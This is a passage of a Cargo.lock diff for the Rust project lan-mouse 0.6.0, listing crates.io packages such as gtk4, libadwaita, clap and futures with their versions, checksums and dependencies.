"1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "async-signal" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e47d90f65a225c4527103a8d747001fc56e375203592b25ad103e1ca13124c5" +dependencies = [ + "async-io 2.2.2", + "async-lock 2.8.0", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix 0.38.28", + "signal-hook-registry", + "slab", + "windows-sys 0.48.0", +] + +[[package]] +name = "async-task" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1d90cd0b264dfdd8eb5bad0a2c217c1f88fa96a8573f40e7b12de23fb468f46" + +[[package]] +name = "async-trait" +version = "0.1.75" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdf6721fb0140e4f897002dd086c06f6c27775df19cfe1fccb21181a48fd2c98" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "blocking" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a37913e8dc4ddcc604f0c6d3bf2887c995153af3611de9e23c352b44c1b9118" +dependencies = [ + "async-channel", + "async-lock 3.2.0", + "async-task", + "fastrand 2.0.1", + "futures-io", + "futures-lite 2.1.0", + "piper", + "tracing", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cairo-rs" +version = "0.18.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f33613627f0dea6a731b0605101fad59ba4f193a52c96c4687728d822605a8a1" +dependencies = [ + "bitflags 2.4.1", + "cairo-sys-rs", + "glib", + "libc", + "once_cell", + "thiserror", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "cc" +version = "1.0.83" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" +dependencies = [ + "libc", +] + +[[package]] +name = "cfg-expr" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "03915af431787e6ffdcc74c645077518c6b6e01f80b761e0fbbfa288536311b3" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "clap" +version = "4.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfaff671f6b22ca62406885ece523383b9b64022e341e53e009a62ebc47a45f2" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a216b506622bb1d316cd51328dce24e07bdff4a6128a47c7e7fad11878d5adbb" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +dependencies = [ + "heck 0.4.1", + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "clap_lex" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" + +[[package]] +name = "colorchoice" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" + +[[package]] +name = "concurrent-queue" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "core-graphics" +version = "0.23.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "970a29baf4110c26fedbc7f82107d42c23f7e88e404c4577ed73fe99ff85a212" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d96137f14f244c37f989d9fff8f95e6c18b918e71f36638f8c49112e4c78f" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "data-encoding" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" + +[[package]] +name = "derivative" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "dlib" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "330c60081dcc4c72131f8eb70510f1ac07223e5d4163db481a04a0befcffa412" +dependencies = [ + "libloading", +] + +[[package]] +name = "downcast-rs" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ea835d29036a4087793836fa931b08837ad5e957da9e23886b29586fb9b6650" + +[[package]] +name = "enum-as-inner" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ffccbb6966c05b32ef8fbac435df276c4ae4d3dc55a8cd0eb9745e6c12f546a" +dependencies = [ + "heck 0.4.1", + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "enumflags2" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5998b4f30320c9d93aed72f63af821bfdac50465b75428fce77b48ec482c3939" +dependencies = [ + "enumflags2_derive", + "serde", +] + +[[package]] +name = "enumflags2_derive" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "env_logger" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95b3f3e67048839cb0d0781f445682a35113da7121f7c949db0e2be96a4fbece" +dependencies = [ + "humantime", + "is-terminal", + "log", + "regex", + "termcolor", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "event-listener" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d93877bcde0eb80ca09131a08d23f0a5c18a620b01db137dba666d18cd9b30c2" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener" +version = "4.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "84f2cdcf274580f2d63697192d744727b3198894b1bf02923643bf59e2c26712" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "958e4d70b6d5e81971bebec42271ec641e7ff4e170a6fa605f2b8a8b65cb97d3" +dependencies = [ + "event-listener 4.0.1", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51093e27b0797c359783294ca4f0a911c270184cb10f85783b118614a1501be" +dependencies = [ + "instant", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "field-offset" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" +dependencies = [ + "memoffset 0.9.0", + "rustc_version", +] + +[[package]] +name = "foreign-types" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965" +dependencies = [ + "foreign-types-macros", + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-macros" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "foreign-types-shared" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0290714b38af9b4a7b094b8a37086d1b4e61f2df9122c3cad2577669145335" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" + +[[package]] +name = "futures-executor" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" + +[[package]] +name = "futures-lite" +version = "1.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49a9d51ce47660b1e808d3c990b4709f2f415d928835a17dfd16991515c46bce" +dependencies = [ + "fastrand 1.9.0", + "futures-core", + "futures-io", + "memchr", + "parking", + "pin-project-lite", + "waker-fn", +] + +[[package]] +name = "futures-lite" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aeee267a1883f7ebef3700f262d2d54de95dfaf38189015a74fdc4e0c7ad8143" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "futures-sink" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e36d3378ee38c2a36ad710c5d30c2911d752cb941c00c72dbabfb786a7970817" + +[[package]] +name = "futures-task" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" + +[[package]] +name = "futures-util" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.18.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "446f32b74d22c33b7b258d4af4ffde53c2bf96ca2e29abdf1a785fe59bd6c82c" +dependencies = [ + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", + "once_cell", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9839ea644ed9c97a34d129ad56d38a25e6756f99f3a88e15cd39c20629caf7" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "gdk4" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edb019ad581f8ecf8ea8e4baa6df7c483a95b5a59be3140be6a9c3b0c632af6" +dependencies = [ + "cairo-rs", + "gdk-pixbuf", + "gdk4-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk4-sys" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dbab43f332a3cf1df9974da690b5bb0e26720ed09a228178ce52175372dcfef0" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "gio" +version = "0.18.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d4fc8f532f87b79cbc51a79748f16a6828fb784be93145a322fa14d06d354c73" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "gio-sys", + "glib", + "libc", + "once_cell", + "pin-project-lite", + "smallvec", + "thiserror", +] + +[[package]] +name = "gio-sys" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37566df850baf5e4cb0dfb78af2e4b9898d817ed9263d1090a2df958c64737d2" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", + "winapi", +] + +[[package]] +name = "glib" +version = "0.18.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "951bbd7fdc5c044ede9f05170f05a3ae9479239c3afdfe2d22d537a3add15c4e" +dependencies = [ + "bitflags 2.4.1", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "futures-util", + "gio-sys", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "memchr", + "once_cell", + "smallvec", + "thiserror", +] + +[[package]] +name = "glib-build-tools" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3431c56f463443cba9bc3600248bc6d680cb614c2ee1cdd39dab5415bd12ac5c" + +[[package]] +name = "glib-macros" +version = "0.18.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72793962ceece3863c2965d7f10c8786323b17c7adea75a515809fa20ab799a5" +dependencies = [ + "heck 0.4.1", + "proc-macro-crate 2.0.1", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 2.0.42", +] + +[[package]] +name = "glib-sys" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "063ce2eb6a8d0ea93d2bf8ba1957e78dbab6be1c2220dd3daca57d5a9d869898" +dependencies = [ + "libc", + "system-deps", +] + +[[package]] +name = "gobject-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0850127b514d1c4a4654ead6dedadb18198999985908e6ffe4436f53c785ce44" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "graphene-rs" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b2228cda1505613a7a956cca69076892cfbda84fc2b7a62b94a41a272c0c401" +dependencies = [ + "glib", + "graphene-sys", + "libc", +] + +[[package]] +name = "graphene-sys" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc4144cee8fc8788f2a9b73dc5f1d4e1189d1f95305c4cb7bd9c1af1cfa31f59" +dependencies = [ + "glib-sys", + "libc", + "pkg-config", + "system-deps", +] + +[[package]] +name = "gsk4" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d958e351d2f210309b32d081c832d7de0aca0b077aa10d88336c6379bd01f7e" +dependencies = [ + "cairo-rs", + "gdk4", + "glib", + "graphene-rs", + "gsk4-sys", + "libc", + "pango", +] + +[[package]] +name = "gsk4-sys" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12bd9e3effea989f020e8f1ff3fa3b8c63ba93d43b899c11a118868853a56d55" +dependencies = [ + "cairo-sys-rs", + "gdk4-sys", + "glib-sys", + "gobject-sys", + "graphene-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "gtk4" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5aeb51aa3e9728575a053e1f43543cd9992ac2477e1b186ad824fd4adfb70842" +dependencies = [ + "cairo-rs", + "field-offset", + "futures-channel", + "gdk-pixbuf", + "gdk4", + "gio", + "glib", + "graphene-rs", + "gsk4", + "gtk4-macros", + "gtk4-sys", + "libc", + "pango", +] + +[[package]] +name = "gtk4-macros" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d57ec49cf9b657f69a05bca8027cff0a8dfd0c49e812be026fc7311f2163832f" +dependencies = [ + "anyhow", + "proc-macro-crate 1.3.1", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "gtk4-sys" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "54d8c4aa23638ce9faa2caf7e2a27d4a1295af2155c8e8d28c4d4eeca7a65eb8" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk4-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "graphene-sys", + "gsk4-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" + +[[package]] +name = "heck" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "hostname" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c731c3e10504cc8ed35cfe2f1db4c9274c3d35fa486e3b31df46f068ef3e867" +dependencies = [ + "libc", + "match_cfg", + "winapi", +] + +[[package]] +name = "humantime" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" + +[[package]] +name = "idna" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indexmap" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "io-lifetimes" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eae7b9aee968036d54dce06cebaefd919e4472e753296daccd6d344e3e2df0c2" +dependencies = [ + "hermit-abi", + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "ipconfig" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b58db92f96b720de98181bbbe63c831e87005ab460c1bf306eb2622b4707997f" +dependencies = [ + "socket2 0.5.5", + "widestring", + "windows-sys 0.48.0", + "winreg", +] + +[[package]] +name = "ipnet" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" + +[[package]] +name = "is-terminal" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" +dependencies = [ + "hermit-abi", + "rustix 0.38.28", + "windows-sys 0.48.0", +] + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "keycode" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b07873c3182aec8a0eb1a5a4e7b197d42e9d167ba78497a6ee932a82d94673ed" +dependencies = [ + "arraydeque", + "arrayvec", + "bitflags 1.3.2", + "keycode_macro", +] + +[[package]] +name = "keycode_macro" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e521ea802f5b3c7194e169d75cab431b0ff08d022f2b6047b08754b4988b89df" +dependencies = [ + "anyhow", + "heck 0.3.3", + "proc-macro2", + "quote", +] + +[[package]] +name = "lan-mouse" +version = "0.6.0" +dependencies = [ + "anyhow", + "ashpd", + "async-channel", + "async-trait", + "clap", + "core-graphics", + "env_logger", + "futures", + "futures-core", + "glib-build-tools", + "gtk4", + "keycode", + "libadwaita", + "libc", + "log", + "memmap", + "reis", + "serde", + "serde_json", + "tempfile", + "tokio", + "toml", + "trust-dns-resolver", + "wayland-client", + "wayland-protocols", + "wayland-protocols-misc", + "wayland-protocols-wlr", + "winapi", + "x11", +] + +[[package]] +name = "libadwaita" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fe7e70c06507ed10a16cda707f358fbe60fe0dc237498f78c686ade92fd979c" +dependencies = [ + "gdk-pixbuf", + "gdk4", + "gio", + "glib", + "gtk4", + "libadwaita-sys", + "libc", + "pango", +] + +[[package]] +name = "libadwaita-sys" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e10aaa38de1d53374f90deeb4535209adc40cc5dba37f9704724169bceec69a" +dependencies = [ + "gdk4-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "gtk4-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "libc" +version = "0.2.151" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" + +[[package]] +name = "libloading" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "linked-hash-map" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0717cef1bc8b636c6e1c1bbdefc09e6322da8a9321966e8928ef80d20f7f770f" + +[[package]] +name = "linux-raw-sys" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef53942eb7bf7ff43a617b3e2c1c4a5ecf5944a7c1bc12d7ee39bbb15e5c1519" + +[[package]] +name = "linux-raw-sys" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "lru-cache" +version = "0.1.2" +source = 